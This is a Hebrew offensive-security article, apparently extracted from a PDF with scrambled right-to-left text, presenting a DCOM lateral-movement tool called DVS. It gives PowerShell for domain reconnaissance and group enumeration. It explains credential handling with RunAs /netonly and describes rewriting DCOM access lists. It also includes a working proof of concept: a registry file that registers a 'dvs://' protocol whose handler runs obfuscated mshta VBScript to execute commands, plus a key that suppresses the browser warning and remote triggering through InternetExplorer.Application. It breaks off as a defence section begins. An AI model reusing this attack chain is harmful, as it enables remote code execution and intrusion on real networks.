HKEY_CLASSES_ROOT\AppID  

 :הנתיב תחת או

HKEY_LOCAL_MACHINE\Software\CLASSES\AppID 

 :Registry-ב DCOMשל אובייקט  AppIDלמזהה  דוגמא

 

 לבצע תמיד יםחייב ולכן תמיד קורה לא זה אך, CLSID-זהה ל AppID-ה בהם מצבים ישנם כי לציין חשוב

 אליו תרצו לגשת. CLSID-על מנת לחלץ את ה CLSID-ל AppID-ה בין הצלבה

 

 הרשאות

 אנחנו האם לאמת נוכל, נאכף האבטחה מערך וכיצד, DCOM Objectsשהבנו כיצד לזהות לאחר , כעת

סט החוקים את  לתשאל את המכונה המרוחקת ולקבלנוכל  כיצדאך  .כלשהו לאובייקט לגשת רשאים

של המכונה הנתקפת? או אינה  לדומיין משויכתאובייקט, במידה והמכונה התוקפת אינה על  החלים

 דרכהמבלי להריץ  ,מרוחקת מכונה דרך Active Directory-ה את לתשאל נוכל איך בכלל? לדומייןמשויכת 

 קוד?

 על אזלהפ חלקי את להרכיב נוכל וכיצד, Active Directoryהזמן להיכנס קצת לנושא התחקור של  הגיע

  כמעט ודאית אודות ההרשאות שלנו תשובה לקבל מנת

 :שאלות מספר על לענות עלינו

 כלשהו? לדומיין משויכתהמכונה הנתקפת  האם .1

 המכונה הנתקפתשל  דומייןאותו הל משויכתכן, האם המכונה התוקפת  אם? 

 כלשהו בכלל? לדומיין משויכתהמכונה התוקפת  האם .1

 אחר, כיצד נוכל להזדהות  לדומייןוהמכונה הנתקפת אינה משויכת לאף דומיין או משויכת  במידה

 אל המכונה הנתקפת?

 ?וקבוצות משתמשים אודות הנתקפת המכונה את לתשאל איך .3
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בואו  אז .היסוד אבני את לבנות מנת על השאלות על לענות הזמן הגיע, שאלות רשימת לנו שיש אחרי

, לאיזה וכמובן )או אם בכלל(? משויכתנתחיל! שלב ראשון, עלינו לדעת לאיזה דומיין המכונה התוקפת 

 השיטות על תבססנ, זאת לבדוק כדי שיטות מספר ישנן )או אם בכלל(? משויכתדומיין המכונה הנתקפת 

 .DVS-ב שיושמו

 Activeנה הנתקפת, כמה מילים על לתשאל את המכו על מנתשנצלול לשיטות שבהן נוכל להשתמש  לפני

Directory: Active Directory  הוא מוצר של חברתMicrosoft  המשמש כתשתית הזדהות מרכזית

לסביבה ארגונית, ויכול לספק גם סט שירותים נלווים על פי הצורך )שרת קבצים, שירותי תקשורת כגון 

dns ו-wins שרת ,CA שרת זמן ושירותים נוספים(, בסביבת ,AD  יש מספר תפקידים לרכיבים השונים

 .Domain Controller-יושב על שרתי ה AD-בשרתי הזדהות כאשר בסיס הנתונים של ה

 

 

 שליפת הדומיין אליו משויך המכונה הנתקפת

 :NBTSTATפקודת 

של מחשב היעד על גבי פרוטוקול  NetBIOS-ה נתוני אודות ומידע סטטיסטיים נתונים מציגה זו פקודה

UDP  אוTCP/IP. ה פרטי עם טבלאות יהיה הפלט-NetBIOS  של המכונה כגון שם מחשב, כתובתMAC ,

 עבור והן המקומי המחשב עבור הן להיות יכול הפלט אליו מחוברת המכונה וסוג הרשומה. הדומייןפרטי 

-והשמות הרשומים ב NetBIOSשל מטמון השמות של  ןריענוזו מאפשרת גם  פקודה .מרוחקים מחשבים

Windows Internet (Name Service / WINS.) יגרום ללקוח לבצע רישום מחדש של פרטי  ןריענו, כלומר

 .WINS-המחשב המקומי בשרת ה

 הרשום לאותה המכונה שאותה נתשאל: הדומייןפקודה זו, ניתן לקבל נתונים אודות  באמצעות

 על מכונה מרוחקת: nbtstatלתשאול  דוגמא
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 :WIRESHARK-ב הבקשה נראית כך

 

 :Wireshark-ב התשובה נראית ככה

 

, ופעולה זו אינה זה תשאול לבצע מנת על הנתקפת מכונהעם ה לבצע תהליך הזדהות אין כי לציין חשוב

  .משמעותי יתרון לנו שנותן מה, Windowsנשמרת ברשימת אירועי האבטחה של 
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 :לקוד זה את נתרגם בואו, מענה לנו נותן שזה שראינו אחרי

PS> Function Get-DomainNameFromRemoteNetBIOSPacket { 

    [CmdletBinding(SupportsShouldProcess=$true)] 

    [OutputType([string])] 

    param( 

        [Parameter(Mandatory = $true)] 

        [string]$RemoteIP 

    ) 

    if($RemoteIP -eq "127.0.0.1") { 

        return "" 

    } 

    try { 

        $HostName = Get-GetHostByAddress -RemoteIP $RemoteIP 

        $udpobject = new-Object system.Net.Sockets.Udpclient 

        $udpobject.Connect($RemoteIP,137) 

        $udpobject.Client.ReceiveTimeout = 2500 

        [byte[]]$Bytes = @(0xff, 0xff, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 

0x00, 0x00, 0x00, 0x20, 0x43, 0x4b, 0x41, 0x41, 0x41, 0x41, 0x41, 

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 

0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 

0x41, 0x41, 0x41, 0x00, 0x00, 0x21, 0x00, 0x0) 

        [void]$udpobject.Send($Bytes,$Bytes.length) 

        $remoteendpoint = New-Object 

system.net.ipendpoint([system.net.ipaddress]::Any,0) 

        $receivebytes = $udpobject.Receive([ref]$remoteendpoint) 

        $udpobject.Close() 

        $TotalResults = [System.BitConverter]::ToString($receivebytes[56]) 

 

        $results = $receivebytes[57..$receivebytes.Count] 

        for($i = 0; $i -lt $TotalResults; $i++) { 

            $flatBit = [System.BitConverter]::ToString($results[((18 * $i) + 

15)]) 

            if($flatBit -ne "00") { 

                continue 

            } 

            $NetBIOSname = ([System.Text.Encoding]::ASCII.GetString($results[(18 

* $i)..((18 *$i) + 14)])).Trim().ToLower() 

            if($NetBIOSname -eq $HostName.Split(".")[0]) { 

                continue 

            } 

            return $NetBIOSname 

        } 

         

    } catch { 

        Write-Log -Level ERROR -Message $_ 

        return "" 

    } 

} 

 

PS> Get-DomainNameFromRemoteNetBIOSPacket -RemoteIP 10.211.55.1 

 

כך שדווקא שיטה ספציפית , אבל לתוקף אסור לסמוך על לתשאול מכונות מרוחקות מצוינת זו שיטה

  יותר.ולכן תמיד כדאי לממש עוד אלטרנטיבות, להבטיח שהניצול מרחוק יעבוד באחוזים גבוהים  תעבוד,
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 :Registryבאמצעות  שימוש

תחת שתי  הדומיין אליו משויכת המכונהמקומות המכילים את  1, ישנם Registry-לויש לנו גישה  בהנחה

Hive ( שונים על פי רמות ההרשאה שלנוHKLM ו-HKCU :)שלנו דרך  הדומייןבלחפש את  נתחילregedit 

 נתיב:  HKLMתחת  הדומייןהבאה מציגה את  התמונה .על מנת למצוא את המקומות הרלוונטיים

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters 

 

 (:HKCU\Volatile Environment)נתיב:  HKCU-תחת העץ ב הדומייןהבאה מציגה את  התמונה

 

 לדומיין, כל מה שעלינו לעשות זה לתשאל ולהשוות Registry-במיוצג  הדומייןשמצאנו היכן וכיצד  לאחר

  .רלוונטי אינו הבא השלב, לדומייןוהמכונה הנתקפת איננה משויכת  במידה של המכונה הנתקפת.
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 הנתקפת המכונה דרך Active-Directory Reconnaissance ביצוע

 Reconnaissance-ה ביצוע .בכלי שיושמו בשיטות נתמקד אך, נרחב נושא הינו מרוחקות מכונות תשאול

 יתבצע אך ורק באחד מהמצבים הבאים:

 הנתקפתלמכונה \לדומייןתקינים  credentialsלכלי  סופקו .1

 הדומייןהתוקפת משויכת לאותו  המכונה .2

למשתמש מקומי שקיים שם המשתמש והסיסמא של המשתמש המקומי במכונה של התוקף, זהים  .3

 במכונה הנתקפת )אותו שם המשתמש ואותה הסיסמא(

, Aa123456שהסיסמא שלו היא  Administratorממשתמש  תהליך/הקוד של התוקף רץ :לדוגמא

 (.קורה זה)תתפלאו  הנתקפת במכונה זהה סיסמא עם בדיוק כזה משתמש וקיים

 .Reconnaissanceי ידלג על שלב ה כאשר אף אחד משלושת התנאים למעלה לא מתקיים אז הכל

 :הנתקפת מהמכונה מידע לדלות מנת על עיקריות שיטות בשתי משתמש הכלי

( המשויך לאותו הדומיין של הנתקף, אז הכלי יבצע את Account/SIDאם התוקף משתמש בחשבון ) .1

 .Domain Controller-מול ה ישירות התשאוליםכל 

 :WindowsIndentity באמצעות בהן חבר ספציפי שמשתמש קבוצות השולף לדוגמא קוד

PS> function Get-UserGroupsUsingWindowsIdentity { 

    param( 

        [Parameter(Mandatory = $true)] 

        [System.Security.Principal.WindowsIdentity]$Token 

    ) 

# This function is responsible to resolve SID groups of user (include his user 

SID) 

    % {@{GroupName=$Token.Name.Split("\")[-1]; SID=$Token.User.Value}} 

    Foreach($sid in $Token.Groups) {  

        try { 

$groupName = 

([System.Security.Principal.SecurityIdentifier]$sid).Translate([System.S

ecurity.Principal.NTAccount]).ToString() 

            # Remove all uppercase groups(INTERACTIVE, SELF, etc.) 

 

            if($groupName.Contains("NT AUTHORITY\") -or 

              ($groupName -ceq $groupName.ToUpper())) { 

     continue 

} 

            $global:GroupSIDList[$GroupName] = $sid.Value 

            %{ $sid.Value } 

      

        } catch { 

            continue 

        } 

    } 

} 
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של הנתקף, והוא מעוניין  הדומיין לאותומשויך  שאינו( Account/SIDאם התוקף משתמש בחשבון ) .1

להשיג מידע לגבי משתמשים או קבוצות בדומיין הנתקף הוא יאלץ לתשאל את הדומיין דרך המחשב 

 .DC-על המחשב הנתקף ויתשאלו את ה ושייווצר ADSIהנתקף ע"י שימוש באובייקטי 

ADSI קיצור של( Interfaces Service Directory Active:) קבוצה של ממשקי  ההינCOM  המשמשים

מאפשר לבצע, בהתאם להרשאות  ADSI בממשק תכנותי. Active Directory-לביצוע פעולות על גבי ה

הגישה, פעולות אדמיניסטרטיביות כמו יצירה ותשאול משתמשים, ניהול מדפסות, מידע על משאבים 

 .ברשת Windowsמכונות ועוד, על גבי 

 :ADSIשמשתמש ספציפי חבר בהן באמצעות  לפניכם קוד לשליפת קבוצות

PS> Function Get-UserGroupsUsingADSI { 

    param( 

        [Parameter(Mandatory = $true)] 

        [string]$RemoteIP, 

        [Parameter(Mandatory = $true)] 

        [string]$Username 

    ) 

    # This function is responsible to resolve SID of groups that the user is 

member of using ADSI. 

    try { 

        $Account = [ADSI]"WinNT://$($RemoteIP)/$($Username),user" 

        $groups = New-Object System.Collections.ArrayList 

        $AccountSID = $account.ObjectSid.Value 

        if($AccountSID) { 

            $groups.Add(@{GroupName=$Username; SID=(New-Object 

System.Security.Principal.SecurityIdentifier($AccountSID,0)).Value}

)|Out-Null 

        } 

         

        $Account.Groups()|foreach { 

            $GroupName = ($_.GetType().InvokeMember("Name", 'GetProperty', 

$null, $_, $null)) 

            $ObjectSID = ($_.GetType().InvokeMember("ObjectSID", 'GetProperty', 

$null, $_, $null)) 

            if($ObjectSID) { 

              $SID = New-Object 

System.Security.Principal.SecurityIdentifier($ObjectSID,0) 

              $groups.Add(@{GroupName=$GroupName; SID=$SID.ToString()})|Out-Null 

            } 

        } 

        return $true, $groups 

    } catch { 

        return $false, $_ 

    } 

} 

 

PS> Get-UserGroupsUsingADSI -RemoteIP 10.211.55.1 -Username Administrator 

 

להזדהות אך איך נוכל  מחוץ לדומיין!שהיא  ממכונה מעולה! אז יש לנו דרך לבצע את התשאולים שלנו גם

  דומיין אחר?או חלק מ כאשר אנחנו מחוץ לדומיין מסוים כמשתמש
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מערכת ההפעלה תשלח את פרטי ההזדהות שסיפקנו לכלי? מה נעשה בכדי להתחבר  DCלאיזה 

דומיין, אף אינן משויכות ל בהצלחה למכונה הנתקפת, בתסריט בו המכונה התוקפת והמכונה הנתקפת

מקומי חדש שיהיה זהה בשם ובסיסמא ליצור משתמש  ולמשתמש שלנו במכונה התוקפת אין הרשאות

 ?שסופקו לכלילשם המשתמש והסיסמא 

כיצד נוכל להזדהות כמשתמש אחר? תהליכים במערכת ההפעלה יורשות את ההרשאות של התהליך 

 שהריץ אותן. תכונה זו יוצרת תופעות מוזרות ומקרי קצה שלפעמים מאתגר להסביר.

 וכו'( net.exe ,at.exe ,sc.exe)וכלים נוספים  reg.exeכגון  Windowsכאשר מריצים את כליי 

של הפרוסס שמריץ אותו )במקרה הזה  Access Token/Credentials-יורש את ה reg.exeהרצה בעת ה

cmd.exe ,במקרה הקלאסי .)cmd.exe  יורץ ע"י משתמש דומייני רגיל, ולא תהיינה לו הרשאות להתחבר

 אל מכונות מרוחקות יכשלו. reg.exeלמכונות אחרות כאדמין מקומי ולכן כל הקריאות של 

 

 $IPCיע הוא שבתסריט הזה, כשהמכונה משויכת לאותו הדומיין, אפילו אם נבצע חיבור מה שמפת

 באמצעות שם משתמש שהוא דומיין אדמין באופן הבא:

net use \\domain_controller\IPC$ /user:domain\domain_admin 

שהריץ אותו ויתעלם  cmd.exeיקבל בירושה את ההרשאות של  net.exe-כל הפעולות עדיין יכשלו, כיוון ו

 לחלוטין משם המשתמש שהכנסנו בשורת הפקודה.

. משתמש זה הינו Atlantisבדומיין  Donatelloבתמונה הבאה המשתמש המחובר למכונה הינו המשתמש 

משתמש רגיל, ללא הרשאות אדמין על מכונות אחרות בדומיין. בתמונה רואים התחברות מוצלחת למכונה 

WIN-IVPFLNTUF20 תמש אחר בעל הרשאות עם משDomain Admin למרות שההתחברות הצליחה, כל .

 הקריאות שמבוצעות לאחר מכן נכשלות.

 

ולכן לא יורשת את ההרשאות שאיתן  Donatelloמורצת ע"י המשתמש  reg.exe-נובע מכך ש ןהכישלו

 .net.exeהתחברנו ע"י 
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( רץ עם משתמש מקומי )שאינו משויך לדומיין(, אז מערכת ההפעלה cmd.exeכאשר תהליך האב )

תשתמש בהרשאות שציינו בשורת הפקודה ונצליח לגשת למשאב המרוחק עם המשתמש שאליו 

(.atlantis.local\shredder - Domain Adminהתחברנו דרך שורת הפקודה )

 

 בו אנו רצים דרך משתמש מקומי, אך ניתן להסיק מהדוגמא מעלה, כי תרחיש זה עונה רק על מצב קצה

אינו עונה לכלל מצבי הקצה, לדוגמא, תרחיש בו המשתמש דרכו אנו מריצים את הפרוסס אכן משויך 

לאותו הדומיין, ואינו רשאי לבצע את הפעולות אותן אנו צריכים לבצע, משום שהפרוסס תמיד ירוץ תחת 

 ההרשאות של המשתמש אשר יצר אותו.

על מנת להגדיר משתמש זמני אחר לפרוסס שרץ, אשר רשאי  impersonation לבצע וחשבנלאחר מכן, 

 לבצע את הפעולות הנדרשות במכונה המרוחקת. אך פעולה זו הינה בעייתית גם כן, ונסביר למה:

Impersonation הינו קונספט אבטחתי המיושם ב-WindowsNT  המאפשר לתהליך להזדהות באופן זמני

כדי לבצע פעולות דרך משתמש אחר בלי להתחבר אליו על  Windows-ה זו נועדה בפעול כמשתמש אחר.

  מנת לבצע פעולות מסוימות.

 החסרונות בקונספט הן:

 :אחר, כמו למשל ישנן מספר מצבי קצה בהן לא נוכל ״להתחזות״ למשתמש .1

a.  לדומיין של המכונה הנתקפת. משויכתבמידה המכונה התוקפת לא 

b.  לדומיין באופן כללי. משויכתבמידה והמכונה התוקפת לא 

c. .המכונה הנתקפת לא משויכת לדומיין באופן כללי 

 ., ולרוב מצביעה על תקיפהםבעייתייפעולה זו מייצרת המון לוגים  -רועש מדי  .2

 התוקף.דורש הרשאות שלא בטוח קיימות למשתמש  .3
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 דורש מהמשתמש את ההרשאות הבאות: impersonationביצוע 

 SE_TCB_NAME 

 SE_CHANGE_NOTIFY_NAME 

 SE_ASSIGNPRIMARYTOKEN_NAME 

)מפאת כל מצבי הקצה שיהיה לנו קשה  עשוי להקנות פתרון חלקי בלבד impersonationכפי שהבנתם, 

 להתמודד איתם(.

 בתאוריה, חיפשתי קונספט שיהווה פתרון לסוגיה הבאה:

להזדהות מולה בכל דרך  מאתנול מכונה מרוחקת כלשהי, והמכונה המרוחקת תדרוש ברגע שנפנה א

)שם משתמש וסיסמא( שנגדיר מראש,  credentials-תשתמש בשהיא, המכונה שדרכה אנו תוקפים 

)כל זה בהנחה וסופקו פרטי  מנגנון הזדהות כלשהו הזדהות מול לבצעבלי ותעביר אותם למכונת היעד מ

 .הזדהות לכלי(

בדיקות  מתבצעותלאחר חשיבה מרובה, על איך אוכל לממש את התאוריה, חשבתי קצת על איך 

 בתשתיות של לקוחות ונזכרתי שיש פתרון לבעיה!

 הפרופיל של המשתמש שלנו, ולשלוח מאפשר לנו לרוץ תחת netonlyבשילוב הדגל  RunAS-שימוש ב

 credentials-לאמת את המבלי , בכל התקשרות עם מכונה חיצונית, פרטי הזדהות מוגדרים מראש

 !מנגנון הזדהות שהוגדרו מול

 ?netonly? מה מייצג הדגל RunASמה זה 

RunAS פקודה בשורת מערכות ההפעלה, המאפשרת למשתמש להפעיל כלים ותוכניות ספציפיות  נההי

 תחת שם משתמש אחר לזה ששימש בכניסה למחשב באופן אינטראקטיבי.

 RunASשהוגשו על ידי הפקודה  credentials-שלא לנסות לאמת את ה RunAS-, מגדיר לnetonlyהדגל 

 )בשונה מחוסר שימוש בדגל זה(.

 session-חדש אשר יבצע שימוש ב תהליך ור, הפקודה תיצnetonlyמידה ובוצע שימוש בדגל למעשה, ב

-שהוגדרו בפקודת ה credentials-, אך תגיש את השל המשתמש דרכו אנו רציםהנוכחי והאינטראקטיבי 

RunAS  כלומר, הפעולה אשר מתרחשת מאחורי  ברגע שתידרש הזדהות כלשהי אל מכונה מרוחקת.רק

שאנו נבצע, וכך אנו פותרים  מרוחקפניה למשאב  רק בעתשהוגדרו  credentials-, היא שליחת ההקלעים

 שסופקו לכלי. credentials-תהליך אימות באמצעות ה ןכישלו :את הסוגיה
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חשוב לציין שבמידה ואנו תוקפים את המכונה המקומית, ואכן אנו רוצים לבצע את התקיפה באמצעות 

 netonly-, מכיוון שדגל הnetonlyבלי שימוש בדגל של  RunASלינו לבצע תהליך פרטי הזדהות אחרים, ע

 תקף רק לתקשורת מחוץ למכונה.

 שהוגדרו לו פרטי הזדהות RunAS הנוצר באמצעות Session דרך Remote-Registry-לפניכם ניסיון גישה ל

 :netonlyדגל שימוש ב עם בעל הרשאות גבוהות במכונה הנתקפת,של משתמש 

 

 .פתרנו את כל מצבי הקצה שצוינו למעלה! אבל נוצרה בעיה אחרת.. קוואבאנגה!

צריך להגדיר לכל מי שמשתמש בסקריפט, להבין את הסיטואציה שבה הוא נמצא, ועל  שכעתהבעיה היא 

ומה אם הוא התוקף שוהה בתוך  .netonly, והאם להשתמש בדגל RunAS-פיה לבחור האם להשתמש ב

 . אז איך נפתור את זה?.ו גישה? קצת מעצבן.מחשב שהשיג אלי

הסקריפט, וכתבתי קטע קוד נוסף אשר יבחן את הסיטואציה בה אנו  של שיניתי קצת את אופן הפעולה

כמובן(, וידע להחליט לבד האם  API Calls)בשימוש  RunAS-נמצאים, ועל פיה יבחר האם לבצע שימוש ב

 מוסתר. תהליך, תחת netonlyיש צורך בשימוש הדגל 

)לדוגמא, לא סופקו פרטי הזדהות(, הסקריפט ייצר תהליך  RunAS-במידה ואין צורך לבצע שימוש ב

 .Design-מוסתר עם ההרשאות הנוכחיות כדי לא לשבור את ה

 הסקריפט בתהליך הריצה מתחלק לשניים:

1. NamedPipe Server 

2. NamedPipe Client 
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אשר יבצע את כל הפעולות האקטיביות אל מול המכונה  Agent-, רץ כתהליך מוסתר, ויתפקד כServer-ה

 ,רץ כסקריפט פרונטלי )זה שתריצו ודרכו תראו גם לוגים(, ויהיה מקבל ההחלטות Client-ה הנתקפת.

ים תהליכשני ה .Client-יחזיר את התשובה ל Server-. לאחר ביצוע כל משימה, הServer-ויעביר משימות ל

 .NamedPipeיתקשרו ביניהם באמצעות 

 Inter-Process Communicationבמדעי המחשב, תקשורת בין תהליכים )באנגלית:  ?NamedPipeמה זה 

ים כתוך אותו תהליך או בין תהליתהליכים ב( היא אוסף של שיטות ומנגנונים להעברת נתונים בין IPCאו 

)או  באותה המכונה יםכתהלי 1תחשבו על סיטואציה בה אנו רוצים להתקשר בין  שונים )ויקיפדיה(.

 במכונה מרוחקת, זה גם אפשרי(, בצורה מהירה.

NamedPipe  1הוא בעצם קונספט המאפשר להגדיר קובץ תקשורת אשר יודע להעביר תעבורה בין 

במידה ואחד  זמנית.-מאזינים בו Client-וה Server-ים. התקשורת מתנהלת אך ורק במצב שהתהליכ

  ימתין עד שהצד השני מחובר. pipe-מהצדדים אינו מאזין, ה

 COMמצבים בהן אבל מה ניתן לעשות במגניב, עכשיו הקוד עובד, ויודע לבצע את כל הפעולות שלנו, 

objects המון כלים פתרו את זה בצורה של רשימת  ?נתקעיםblacklist  שלDCOM objects  .בעייתיים

כתבתי עוד קטע קוד אשר ידע להריץ את  , ולכןblacklistנשמע פחות מגניב לעדכן כל היום רשימות 

 מוגדר מראש. timeoutעם  threadהפעולות אל מול האובייקטים בתוך 

, אחרת, תוחזר Client-תוחזר ל Server-במידה והפעולה התרחשה במסגרת הזמן שהוגדר, התשובה מה

 תשובה שלילית.

, Word.Applicationט מסוג כאשר תפנו לדוגמא לאובייק יתקע: COM Object-דוגמא לתרחיש בו ה

, ועד שלא תגדירו Officeשל  Welcome-לא נפתחה מעולם, תקפוץ לכם הודעת ה Word-ה תואפליקציי

-אבל מה קורה במידה ויש לי גישה לבצע את ה מגניב. הכלי מנגןעד כאן  לא יוכל לתפקד. COM-אותו ה

Reconnaissance ( ומסתמן שאין לי גישה לאובייקטDACL?)  

 Security-, במידה ואין לנו הרשאה לגשת לאובייקט, אך יש לנו הרשאה לערוך את הACL-לאחר ניתוח ה

Descriptorהסקריפט יבצע העתק של ה ,-ACL ( הנוכחיCloneיבדוק האם ה ,)-SID  שלנו מופיע עם

את  , במידה וחלים עלינו איסורים, הסקריפט יסיר אותם ויתיר לנובתוך הרשימה איסורים כלשהם

 ההרשאות הרלוונטיות על מנת לתקשר עם האובייקט הרלוונטי.

, שאנו צריכים על מנת לתקשר עם האובייקט והוספת ההרשאות ACL-של ה השינוילאחר תהליך 

 .החדש ACL-ברירת המחדל עם השל האובייקט הרלוונטי או  Security Descriptor-הסקריפט יעדכן את ה

לאותו מצב  Security Descriptor-מול האובייקט, הסקריפט ישחזר את הכמובן שלאחר סיום הפעילות אל 

 .Patching-בו הוא היה לפני תהליך ה
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? עם פונקציות המאפשרות להריץ פקודות DCOM Object, הכל עובד! אבל מה אם סרקנו, ואין לנו מעולה

התשובה היא לא  ?ותפקודאו סיטואציה אחרת, אין לנו את ההרשאות המתאימות? האם לא נוכל להריץ 

 

Invoke-RegisterRemoteSchema 

מכילים  שאינם DCOM Objects-פתרון בו נוכל להשתמש ב מצאנולאחר מחקר מעמיק, וייעוץ עם רפי, 

-ב, בשילוב מניפולציות ובאמצעותןדורשים הרשאות גבוהות,  ן, ואינהמאפשרות להריץ פקודות פונקציות

Registry פקודות!להריץ  נוכל 

הרעיון היה ליצור סכמה חדשה, אשר  .יאכן ה הוכשמ Invoke-RegisterRemoteSchemaלשיטה קראנו 

צללנו קצת לראות איך סכמה  (.//:ftpאו  //:httpברגע שקוראים לה )כמו לדוגמא  פקודותתדע להריץ 

(, והנה http)לדוגמא,  וחיפשנו סכמה מוכרת regedit-נכנסו ל מיוצגת במכונה? איך נוכל להשתמש בה?

 התוצאות:

 

   גם לכם זה מרגיש כמו משהו שאפשר לעבוד איתו?

לנתב בין תיקיות  ותמאפשרהמכילים פונקציות ש DCOM Objectsהתיאוריה שלנו הייתה כזו, לחפש 

בסקריפט תוכלו לראות  לנתב לסכמה שלנו אשר תכיל את הפקודה שנרצה להריץ.ן וקבצים, ובאמצעות

 הסופי, פה ניתן רק דוגמא קטנה. PoC-את ה

, current userראשית, ננסה להקפיץ מחשבון, באמצעות סכמה חדשה שנייצר, וננסה לשמור אותה תחת 

, http-לכל העץ של סכמת ה exportנעשה  על מנת שנוכל לבצע פעולה זו בהרשאה הנמוכה ביותר.

 ונתחיל לבצע מספר שינויים קלים לצורך הבדיקה.

 שבוצעו הם:השינויים 

 על מנת לרוץ בהרשאות נמוכות HKEY_CURRENT_USER-ל HKEY_LOCAL_MACHINE-מ Hive-שינוי ה .1

 DVS-ל HTTP-שינוי שם הסכמה מ .2

 (.//:dvs)כל מה שמגיע אחרי  שידע לקחת פקודה מהתוכן שלאחר הסכמה Payloadהגדרת  .3
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 הסופי: Payload-המוגמר עם ה PoC-לפניכם ה

Windows Registry Editor Version 5.00 

[HKEY_CURRENT_USER\SOFTWARE\Classes\dvs] 

"Source Filter"="{E436EBB6-524F-11CE-9F53-0020AF0BA770}" 

"URL Protocol"="" 

@="URL:HyperText Transfer Protocol" 

"AppUserModelID"="Microsoft.InternetExplorer.Default" 

"EditFlags"=dword:00200002 

"FriendlyTypeName"="@C:\\Windows\\System32\\ieframe.dll,-903" 

 

[HKEY_CURRENT_USER\SOFTWARE\Classes\dvs\DefaultIcon] 

@="C:\\Windows\\System32\\url.dll,0" 

 

[HKEY_CURRENT_USER\SOFTWARE\Classes\dvs\shell] 

 

[HKEY_CURRENT_USER\SOFTWARE\Classes\dvs\shell\open] 

"CommandId"="IE.Protocol" 

"DontReturnProcessHandle"="" 

 

[HKEY_CURRENT_USER\SOFTWARE\Classes\dvs\shell\open\command] 

@="mshta vbscript:ExEcUtE(\"c=Replace(Replace(Replace(\"\"%1\"\", 

Chr(37)&\"\"22\"\", Chr(34)),Chr(37)&\"\"27\"\", 

Chr(39)),\"\"dvs://\"\",\"\"\"\"):if Right(c,1)=\"\"/\"\" 

then:c=mid(c,1,len(c)-1):end if:sc = split(c, \"\" 

\"\"):f=sc(0):a=Replace(c,f,\"\"\"\"):CreateObject(\"\"Shel\"\"&\"\"l.Ap

p\"\"&\"\"lication\"\").Shel\"&\"lEx\"&\"ecu\"&\"te 

f,\"&\"a,\"\"\"\",\"\"\"\",0 :cl\"&\"ose\")" 

"DelegateExecute"="{17FE9752-0B5A-4665-84CD-569794602F5C}" 

 :Run-החדשים, ונריץ את הפקודה הבאה ב registry keys-ל importנעשה 

dvs://cmd /c calc 

 . עלינו פה על משהו..

 

-המכילה את הפונקציה , נשלב את יכולות הסקריפט ונחפש את כל האובייקטים המכילים את כעת

Patterns :הבאים Navigateו *-Open.*  נשמור בקובץvulnerable.txt " את הערכיםNavigateו "*-

"Openנריץ את הפקודה הבאה:*", ו 

  PS> Invoke-DCOMObjectScan -MaxDepth 3 -Type All  -FunctionListFile 

"C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -Hostlist "127.0.0.1" -

Verbose 

 Internet-מכיוון שלסרוק את כל המכונה לא לוקח כמה דקות, בינתיים, עד לתום הסריקה, נפתח את ה

Explorer:ונריץ את השורה הבאה , 

dvs://cmd /c calc 
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 הנראה כך: warningכמו שבטח שמתם לב, קופץ 

 

ולראות גם שם  process monitor, אך אפשר גם עם regshot)לדוגמא באמצעות  Registry-נדגום את ה

״ ונלחץ Always ask before opening this type of addressנבטל את תיבת הסימון " את השינויים(,

Allow. 

יצטרך לחפש  process monitorונראה את ההבדלים)מי שהריץ  Registry-לאחר מכן, נדגום שוב את ה

 (.interception-הלאחר  Registry-את השינויים ב

 בנתיב הבא: dvsלאחר בדיקה ניתן לראות כי התווסף ערך בשם 

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet 

Explorer\ProtocolExecute\dvs\WarnOnOpen 

 ! , תיבת האזהרה לא תקפוץ וירוץ לנו מחשבון11111101x1לאחר הוספת הרשומה, עם הערך: 

במידה וזו פעם ראשונה שהמכונה הנתקפת מריצה  Registry-לבצע הוספת ערכים לכמו כן, חשוב גם 

Internet Explorer ישירות מה להנ", אך לא נתייחס לזה כאן, תוכלו לקרוא את שורות הקוד-GIT. 

 בואו ננסה להריץ את הפקודה הבאה:

PS> 

($([System.Activator]::CreateInstance([Type]::GetTypeFromProgID("Interne

tExplorer.Application", "127.0.0.1")))).Navigate("dvs://cmd /c calc") 

  והמחשבון שלנו רץ!

 :Navigation המכילים פונקציות מסוגלאחר הסריקה, קיבלנו פלט עם האובייקטים 

 InternetExplorer.Application - InternetExplorer COM Object 

 {D5E8041D-920F-45e9-B8FB-B1DEB82C6E5E} - Another COMObjects belongs to Internet 

Explorer 

 {C08AFD90-F2A1-11D1-8455-00A0C91F3880} - ShellBrowserWindow 
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 {9BA05972-F6A8-11CF-A442-00A0C90A8F39} - ShellWindows 

-Invokeיודע לבצע את כל התהליך שמצוין במאמר ובצורה יותר נכונה )באמצעות הפונקציה  שהכליכמובן 

RegisterRemoteSchemaולנקות את המכונה הנתקפת בתום הרצת הפקודה ,) (Housekeeping.)  ,כמו כן

 הפגיעים לתרחיש זה )הרשימה מצוינת מעלה(. DCOMסוגים שונים של  2מכיל  הכלי

קריפט יוודא האם ההתקשרות עם האובייקט בוצעה במלואה מול המכונה המרוחקת. חשוב לציין כי הס

 ובמידה והפעולה לא בוצעה במלואה, הסקריפט ידלג לאובייקט הפגיע הבא. 

 במידה ולא הוגדר אף פעם! Internet Explorer-כמובן שהסקריפט יגדיר את ה

 באמצעות הכלי: Invoke-RegisterRemoteSchemaלפניכם דוגמא להרצת המודול 

 :Credentials פקודה לדוגמא בשילוב

PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c 

calc" -Username "user" -Password "Aa123456!" -Verbose 

 :Credentials פקודה לדוגמא ללא

PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c 

calc" -Verbose 

בקרוב מתכננים עוד כמה עדכונים מהותיים  רפי ואני. .יופי, מגניב! דיברנו על סריקה, דיברנו על התקפה.

 בסקריפט עם כל מיני עקיפות מגניבות! הגיע הזמן לדבר קצת על הגנה.
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 ועצירה זיהוי

-ה בכלי המיושמות השיטות מפני והגנה לזיהוי היום הקיימות היכולות אודות שנעשה המחקר בעקבות

DVS הגענו למסקנה שכיבוי גישת ,DCOM באמצעות ממשק ה-Component Services  אינו מספק, וזה

